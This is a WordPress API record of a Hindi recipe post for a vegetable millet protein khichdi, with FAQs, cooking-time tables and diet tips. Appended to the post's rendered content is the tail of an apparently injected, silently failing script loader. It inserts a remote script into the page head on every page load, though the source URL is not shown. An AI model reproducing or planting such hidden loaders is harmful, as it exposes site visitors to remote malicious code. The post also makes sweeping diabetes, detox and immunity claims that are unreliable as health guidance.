\u0930\u0947\u0938\u093f\u092a\u0940 \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u0940 \u0939\u0948?<\/h3>\n\n\n\n<p>\u0939\u093e\u0901, \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u092b\u0949\u0930 \u0935\u0947\u091f \u0932\u0949\u0938 \u092c\u0947\u0939\u0926 \u0905\u0938\u0930\u0926\u093e\u0930 \u0939\u0948 \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0907\u0938\u092e\u0947\u0902 \u0939\u093e\u0908 \u092b\u093e\u0907\u092c\u0930 \u0914\u0930 \u0932\u094b \u0915\u0948\u0932\u094b\u0930\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Q2: \u0915\u094d\u092f\u093e \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092e\u0930\u0940\u091c  <strong>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong>\u0916\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902?<\/h4>\n\n\n\n<p>\u0939\u093e\u0901, \u092f\u0939 \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940 \u0916\u093f\u091a\u0921\u093c\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Q3: \u0915\u094c\u0928 \u0938\u093e \u092e\u093f\u0932\u0947\u091f \u0938\u092c\u0938\u0947 \u0905\u091a\u094d\u091b\u093e \u0939\u0948?<\/h3>\n\n\n\n<p>\u092b\u0949\u0915\u094d\u0938\u091f\u0947\u0932 \u092e\u093f\u0932\u0947\u091f \u0914\u0930 \u092c\u093e\u091c\u0930\u093e\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Q4: \u0915\u094d\u092f\u093e \u092f\u0939\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u0939\u0948?<\/h3>\n\n\n\n<p>\u0939\u093e\u0901, \u092f\u0939 \u0939\u0947\u0932\u094d\u0926\u0940 \u0907\u0902\u0921\u093f\u092f\u0928 \u092e\u093f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0905\u0917\u0930 \u0906\u092a <strong>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> \u0915\u094b \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u092c\u0928\u093e\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0938\u0939\u0940 <strong>\u091f\u093e\u0907\u092e\u093f\u0902\u0917<\/strong> \u091c\u093e\u0928\u0928\u093e \u092c\u0939\u0941\u0924 \u091c\u0930\u0942\u0930\u0940 \u0939\u0948\u0964 \u0928\u0940\u091a\u0947 \u092a\u0942\u0930\u0940 \u0915\u0941\u0915\u093f\u0902\u0917 \u091f\u093e\u0907\u092e \u0921\u093f\u091f\u0947\u0932 \u0926\u0940 \u0917\u0908 \u0939\u0948 \u0924\u093e\u0915\u093f \u0916\u093f\u091a\u0921\u093c\u0940 \u0928 \u091c\u094d\u092f\u093e\u0926\u093e \u0915\u091a\u094d\u091a\u0940 \u0930\u0939\u0947 \u0914\u0930 \u0928 \u0939\u0940 \u091c\u094d\u092f\u093e\u0926\u093e \u0917\u0932\u0940 \u0939\u0941\u0908\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u0924\u0948\u092f\u093e\u0930\u0940 \u0915\u093e \u0938\u092e\u092f <strong>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> (Preparation Time)<\/h4>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u0938\u094d\u091f\u0947\u092a<\/th><th>\u0938\u092e\u092f<\/th><\/tr><\/thead><tbody><tr><td>\u092e\u093f\u0932\u0947\u091f \u0927\u094b\u0928\u093e<\/td><td>2\u20133 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u092e\u093f\u0932\u0947\u091f \u092d\u093f\u0917\u094b\u0928\u093e<\/td><td>20\u201330 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u092e\u0942\u0902\u0917 \u0926\u093e\u0932 \u0927\u094b\u0928\u093e<\/td><td>2 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902 \u0915\u093e\u091f\u0928\u093e<\/td><td>8\u201310 \u092e\u093f\u0928\u091f<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\ud83d\udc49 <strong>\u0915\u0941\u0932 \u0924\u0948\u092f\u093e\u0930\u0940 \u0938\u092e\u092f:<\/strong> \u0932\u0917\u092d\u0917 30\u201340 \u092e\u093f\u0928\u091f<br>(\u0905\u0917\u0930 \u092a\u0939\u0932\u0947 \u0938\u0947 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902 \u0915\u091f\u0940 \u0939\u094b\u0902 \u0924\u094b 15 \u092e\u093f\u0928\u091f \u092e\u0947\u0902 \u0924\u0948\u092f\u093e\u0930\u0940 \u092a\u0942\u0930\u0940)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> \u092a\u0915\u093e\u0928\u0947 \u0915\u093e \u0938\u092e\u092f (Cooking Time)<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\"> \u092a\u094d\u0930\u0947\u0936\u0930 \u0915\u0941\u0915\u0930 \u092e\u0947\u0902<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e<\/th><th>\u0938\u092e\u092f<\/th><\/tr><\/thead><tbody><tr><td>\u0924\u0921\u093c\u0915\u093e \u0914\u0930 \u0938\u092c\u094d\u091c\u0940 \u092d\u0942\u0928\u0928\u093e<\/td><td>5\u20137 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u092a\u093e\u0928\u0940 \u0921\u093e\u0932\u0915\u0930 \u0909\u092c\u093e\u0932 \u0906\u0928\u0947 \u0924\u0915<\/td><td>3\u20134 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u092a\u094d\u0930\u0947\u0936\u0930 \u0915\u0941\u0915<\/td><td>3 \u0938\u0940\u091f\u0940 (8\u201310 \u092e\u093f\u0928\u091f)<\/td><\/tr><tr><td>\u092a\u094d\u0930\u0947\u0936\u0930 \u0928\u093f\u0915\u0932\u0928\u0947 \u0915\u093e \u0938\u092e\u092f<\/td><td>5 \u092e\u093f\u0928\u091f<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\ud83d\udc49 <strong>\u0915\u0941\u0932 \u0915\u0941\u0915\u093f\u0902\u0917 \u091f\u093e\u0907\u092e \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940:<\/strong> 18\u201322 \u092e\u093f\u0928\u091f<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> \u092c\u093f\u0928\u093e \u092a\u094d\u0930\u0947\u0936\u0930 \u0915\u0941\u0915\u0930 (\u0915\u0922\u093c\u093e\u0908\/\u092a\u0924\u0940\u0932\u0947 \u092e\u0947\u0902)<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e<\/th><th>\u0938\u092e\u092f<\/th><\/tr><\/thead><tbody><tr><td>\u0924\u0921\u093c\u0915\u093e \u0914\u0930 \u0938\u092c\u094d\u091c\u0940<\/td><td>5\u20137 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u092e\u093f\u0932\u0947\u091f + \u0926\u093e\u0932 \u092a\u0915\u093e\u0928\u093e<\/td><td>20\u201325 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u0927\u0940\u092e\u0940 \u0906\u0902\u091a \u092a\u0930 \u092a\u0915\u093e\u0928\u093e<\/td><td>5 \u092e\u093f\u0928\u091f<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\ud83d\udc49 <strong>\u0915\u0941\u0932 \u0938\u092e\u092f:<\/strong> 30\u201335 \u092e\u093f\u0928\u091f<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0938\u0930\u094d\u0935 \u0915\u0930\u0928\u0947 \u0938\u0947 \u092a\u0939\u0932\u0947<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>2\u20133 \u092e\u093f\u0928\u091f \u0922\u0915\u0915\u0930 \u0930\u0916\u0947\u0902<\/li>\n\n\n\n<li>\u0939\u0930\u093e \u0927\u0928\u093f\u092f\u093e \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>\u0918\u0940 \u0915\u0940 2\u20133 \u092c\u0942\u0902\u0926 \u0921\u093e\u0932\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> Total Time Summary\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u092a\u094d\u0930\u0915\u093e\u0930<\/th><th>\u0915\u0941\u0932 \u0938\u092e\u092f<\/th><\/tr><\/thead><tbody><tr><td>\u092a\u094d\u0930\u0947\u0936\u0930 \u0915\u0941\u0915\u0930 \u0935\u093f\u0927\u093f<\/td><td>35\u201345 \u092e\u093f\u0928\u091f (\u0938\u094b\u0916\u093f\u0902\u0917 \u0938\u0939\u093f\u0924)<\/td><\/tr><tr><td>\u092a\u0924\u0940\u0932\u093e \u0935\u093f\u0927\u093f<\/td><td>50\u201360 \u092e\u093f\u0928\u091f (\u0938\u094b\u0916\u093f\u0902\u0917 \u0938\u0939\u093f\u0924)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"> \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u0915\u0902\u0938\u093f\u0938\u094d\u091f\u0947\u0902\u0938\u0940 \u091f\u093e\u0907\u092e \u091f\u093f\u092a<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0905\u0917\u0930 \u0938\u0949\u092b\u094d\u091f \u0914\u0930 \u0926\u0932\u093f\u092f\u093e \u091c\u0948\u0938\u0940 \u0916\u093f\u091a\u0921\u093c\u0940 \u091a\u093e\u0939\u093f\u090f \u2192 \u00bd \u0915\u092a \u0905\u0924\u093f\u0930\u093f\u0915\u094d\u0924 \u092a\u093e\u0928\u0940 \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>\u0905\u0917\u0930 \u0926\u093e\u0928\u0947\u0926\u093e\u0930 \u0916\u093f\u091a\u0921\u093c\u0940 \u091a\u093e\u0939\u093f\u090f \u2192 2.5 \u0915\u092a \u092a\u093e\u0928\u0940 \u0930\u0916\u0947\u0902<\/li>\n\n\n\n<li>\u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0925\u094b\u0921\u093c\u0940 \u0917\u093e\u0922\u093c\u0940 \u0916\u093f\u091a\u0921\u093c\u0940 \u092c\u0947\u0939\u0924\u0930<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Best Time To Eat (Diet Timing)<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u0909\u0926\u094d\u0926\u0947\u0936\u094d\u092f<\/th><th>\u0915\u092c \u0916\u093e\u090f\u0902<\/th><\/tr><\/thead><tbody><tr><td>\u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u093e<\/td><td>\u0932\u0902\u091a<\/td><\/tr><tr><td>\u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u0915\u0902\u091f\u094d\u0930\u094b\u0932<\/td><td>\u0932\u0902\u091a \u092f\u093e \u0905\u0930\u094d\u0932\u0940 \u0921\u093f\u0928\u0930<\/td><\/tr><tr><td>\u0921\u093f\u091f\u0949\u0915\u094d\u0938<\/td><td>\u0921\u093f\u0928\u0930<\/td><\/tr><tr><td>\u092a\u094b\u0938\u094d\u091f \u0935\u0930\u094d\u0915\u0906\u0909\u091f<\/td><td>1 \u0918\u0902\u091f\u0947 \u092c\u093e\u0926<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><strong><em>\u0928\u093f\u0937\u094d\u0915\u0930\u094d\u0937 <\/em><\/strong><\/p>\n\n\n\n<p>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u0905\u0917\u0930 \u0906\u092a \u0938\u091a \u092e\u0947\u0902 \u090f\u0915 <strong>\u0939\u0947\u0932\u094d\u0926\u0940 \u0932\u093e\u0907\u092b\u0938\u094d\u091f\u093e\u0907\u0932<\/strong>, \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u0921\u093e\u0907\u091f \u0914\u0930 \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0924\u0930\u0940\u0915\u0947 \u0938\u0947 \u092b\u093f\u091f \u0930\u0939\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b <strong>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> \u0915\u094b \u0905\u092a\u0928\u0947 \u0921\u0947\u0932\u0940 \u092e\u0940\u0932 \u092a\u094d\u0932\u093e\u0928 \u092e\u0947\u0902 \u091c\u0930\u0942\u0930 \u0936\u093e\u092e\u093f\u0932 \u0915\u0930\u0947\u0902\u0964 \u092f\u0939 \u0938\u093f\u0930\u094d\u092b \u090f\u0915 \u0938\u093e\u0927\u093e\u0930\u0923 \u0916\u093f\u091a\u0921\u093c\u0940 \u0928\u0939\u0940\u0902 \u0939\u0948, \u092c\u0932\u094d\u0915\u093f \u090f\u0915 <strong>\u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0930\u0942\u092a \u0938\u0947 \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u0928\u094d\u092f\u0942\u091f\u094d\u0930\u093f\u0936\u0928 \u092a\u093e\u0935\u0930 \u092a\u0948\u0915<\/strong> \u0939\u0948 \u091c\u094b \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947, \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u0915\u0902\u091f\u094d\u0930\u094b\u0932, \u0917\u091f \u0939\u0947\u0932\u094d\u0925 \u0938\u0941\u0927\u093e\u0930\u0928\u0947 \u0914\u0930 \u0907\u092e\u094d\u092f\u0941\u0928\u093f\u091f\u0940 \u092e\u091c\u092c\u0942\u0924 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0906\u091c \u0915\u0940 \u092d\u093e\u0917\u0926\u094c\u0921\u093c \u092d\u0930\u0940 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\u0924\u094b \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0906\u092a\u0915\u0947 \u0921\u093e\u0907\u091c\u0947\u0938\u094d\u091f\u093f\u0935 \u0938\u093f\u0938\u094d\u091f\u092e \u0915\u094b \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0938\u092c\u0938\u0947 \u0916\u093e\u0938 \u092c\u093e\u0924 \u092f\u0939 \u0939\u0948 \u0915\u093f \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940:<br>\u2714 \u0917\u094d\u0932\u0942\u091f\u0947\u0928 \u092b\u094d\u0930\u0940 \u0939\u0948<br>\u2714 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0930\u093f\u091a \u0939\u0948<br>\u2714 \u092b\u093e\u0907\u092c\u0930 \u0939\u093e\u0908 \u0939\u0948<br>\u2714 \u092c\u091a\u094d\u091a\u094b\u0902 \u0938\u0947 \u0932\u0947\u0915\u0930 \u092c\u0941\u091c\u0941\u0930\u094d\u0917\u094b\u0902 \u0924\u0915 \u0938\u092d\u0940 \u0915\u0947 \u0932\u093f\u090f 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s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947, \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u0915\u0902\u091f\u094d\u0930\u094b\u0932 \u0914\u0930 \u0917\u091f \u0939\u0947\u0932\u094d\u0925 \u0915\u0947 \u0932\u093f\u090f \u0939\u0947\u0932\u094d\u0926\u0940 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940\u0964 \u091c\u093e\u0928\u093f\u090f \u0938\u093e\u092e\u0917\u094d\u0930\u0940, \u092c\u0928\u093e\u0928\u0947 \u0915\u0940 \u0935\u093f\u0927\u093f, \u092a\u094b\u0937\u0923 \u092b\u093e\u092f\u0926\u0947, FAQ \u0914\u0930 \u0921\u093e\u0907\u091f \u091f\u093f\u092a\u094d\u0938\u0964 \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 \u0939\u0947\u0932\u094d\u0926\u0940, \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0930\u093f\u091a \u0914\u0930 \u0917\u091f \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940 \u0938\u0941\u092a\u0930\u092b\u0942\u0921 \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u0906\u091c \u0915\u0947 \u0938\u092e\u092f \u0915\u0940 \u0938\u092c\u0938\u0947 \u091c\u094d\u092f\u093e\u0926\u093e &#8230; <a title=\"9 \u091c\u092c\u0930\u0926\u0938\u094d\u0924 \u092b\u093e\u092f\u0926\u0947 \u0935\u093e\u0932\u0940 \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 | Weight Loss &amp; Diabetes Friendly Superfood\" class=\"read-more\" href=\"https:\/\/simplereceipes.in\/en\/9-%e0%a4%9c%e0%a4%ac%e0%a4%b0%e0%a4%a6%e0%a4%b8%e0%a5%8d%e0%a4%a4-%e0%a4%ab%e0%a4%be%e0%a4%af%e0%a4%a6%e0%a5%87-%e0%a4%b5%e0%a4%be%e0%a4%b2%e0%a5%80-%e0%a4%b5%e0%a5%87%e0%a4%9c%e0%a4%bf%e0%a4%9f\/\" aria-label=\"Read more about 9 \u091c\u092c\u0930\u0926\u0938\u094d\u0924 \u092b\u093e\u092f\u0926\u0947 \u0935\u093e\u0932\u0940 \u0935\u0947\u091c\u093f\u091f\u0947\u092c\u0932 \u092e\u093f\u0932\u0947\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0916\u093f\u091a\u0921\u093c\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 | Weight Loss &amp; Diabetes Friendly Superfood\">Read more<\/a><\/p>","protected":false},"author":1,"featured_media":833,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-827","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-receipes"],"_links":{"self":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/827","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/comments?post=827"}],"version-history":[{"count":4,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/827\/revisions"}],"predecessor-version":[{"id":944,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/827\/revisions\/944"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media\/833"}],"wp:attachment":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media?parent=827"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/categories?post=827"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/tags?post=827"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}